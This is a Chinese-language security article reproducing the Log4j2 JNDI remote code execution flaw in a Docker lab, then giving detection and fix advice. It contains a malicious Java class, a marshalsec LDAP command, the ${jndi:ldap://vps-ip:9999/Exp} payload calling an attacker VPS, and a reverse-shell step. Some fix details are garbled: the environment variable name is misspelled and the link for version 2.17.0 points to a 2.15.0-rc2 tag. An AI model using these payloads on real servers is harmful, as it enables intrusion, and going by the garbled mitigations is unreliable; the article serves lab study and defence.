log4j2远程命令执行复现
作者: 日期:2022年01月05日 阅:2,627

引言:Apache Log4j2 的远程代码执行漏洞刷爆朋友圈,该漏洞一旦被攻击者利用,攻击者可以获取服务器权限,窃取服务器中存储的用户数据、源码等敏感数据,危害性非常大。此次漏洞影响巨大,很多行业头部企业均受到Log4j 远程代码执行漏洞影响,如例如互联网巨头百度,很多互联网企业、安全企业连夜做了应急措施,本文主要对log4j2远程命令执行漏洞的复现、检测方法及修复建议等维度进行介绍。

一、 漏洞描述

Apache Log4j2是一款应用广泛的Java日志框架,在各大Java项目中广泛应用。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。此漏洞可被黑客利用,直接获取服务器的权限,窃取服务器存储敏感数据,导致敏感数据泄露。Apache log4j2 2.0 – 2.14.1 版本、2.15.0-rc1版本及Apache Struts2、Apache Solr、Apache Druid、Apache Flink等组件均受影响,该漏洞利用无需特殊配置,风险评级为严重。12月9日, Apache官方发布了紧急安全更新,修复了Apache Log4j2中发现的远程代码执行漏洞。

二、 影响版本

Apache log4j2 2.0 – 2.14.1 版本均受影响

此前Apache官方发布的 2.15.0-rc1版本可以绕过,同样在漏洞影响范围之内

三、 漏洞复现

1、使用以下命令直接docker拉取漏洞环境

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln

docker run -it -d -p 8080:8080 –name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln

docker exec -it log4j_vuln_container /bin/bash

/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

2、浏览器访问http://ip:8080/webstudy/hello-fengxuan,出现此页面即说明漏洞环境搭建成功。

3、在远程vps上创建一个名为Exp.java的文件,内容如下:

public class Exp {

    static {

        try {

            Runtime rt = Runtime.getRuntime();

            String[] commands = {“touch”,”/tmp/dsbsu”};

            Process pc = rt.exec(commands);

            pc.waitFor();

        } catch (Exception e) {

        }

    }

}

4、在当前目录下执行javac Exp.java后,会编译生成一个Exp.class文件

5、使用python3 –m http.server 命令,在当前目录起一个http服务。默认端口为8000。浏览器访问http://vps-ip:8000,出现如下,即表示启动成功:

6、还需要marshalsec调用恶意java类,marshalsec工具的下载可以https://download.csdn.net/download/Fly_hps/12409277到此下载

7、将marshalsec-0.3.0.3-SNAPSHOT-all.jar工具复制到上述文件的同一目录

8、执行命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://vps-ip:8000/#Exp” 9999监听

9、打开http://ip:8080/webstudy/hello-fengxuan靶场,抓包,将请求改为post,参数为c,将payload: ${jndi:ldap://vps-ip:9999/Exp}赋值给c。放包:

10、放包后,先查看9999端口日志,发现有日志产生,重定向到了http服务

11、再去查看http服务日志,发现靶机成功访问了构造的恶意类

12、进入靶机,发现成功传教/tmp/dsbsu,说明远程命令执行成功

13、接着将第1步的命令改为反弹shell语句

14、重新上述的操作,攻击机nc 监听3333端口,成功反弹shell

ps:(1)由于靶场搭建的后两句命令是进入docker容器,此时靶机是在容器里的

(2)经反复测试得出,当靶机第一次在docker容器不退出来的时候,反弹shell总是不成功,会出现已连接但是没有shell过来的情况。

(3)当在靶机里退出docker后,反弹shell就成功了

四、 漏洞检测方案

  1. 本地检测
  2. 访问 https://log4j2-detector.chaitin.cn/ ,下载相应系统的工具
  • 下载相应工具后,传至漏洞环境所在的服务器,运行,即可查出所在漏洞版本范围的log4j2 相关jar文件

Ps:此类本地检测工具原理都是基于版本检测,只要jar包的范围在漏洞的范围内,都会报有漏洞。如果修复方式是一些热修复或者通过访问控制白名单之类的,在此工具的检测下,依旧会显示有漏洞存在

  • 网络检测
  • 向参数插入payload: ${jndi:ldap://xxxx.dnslog.cn},执行后去dnslog平台查看回显

五、 修复建议

1.升级Apache Log4j 2至最新安全版本2.17.0:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

2.升级已知受影响的应用及组件,如spring-boot-starter-log4j2/ApacheStruts2/ApacheSolr/ApacheDruid/Apache Flink。

临时解决方案:

1.设置jvm参数”-Dlog4j2.formatMsgNoLookups=true”;

2.设置系统环境变量

“FORMAT_MESSAGES_PATTERN_DIS-ABLE_LOOKU_PS”为”true”;

3.关闭应用的网络外连。

申明:本文系厂商投稿收录,所涉观点不代表安全牛立场!


相关文章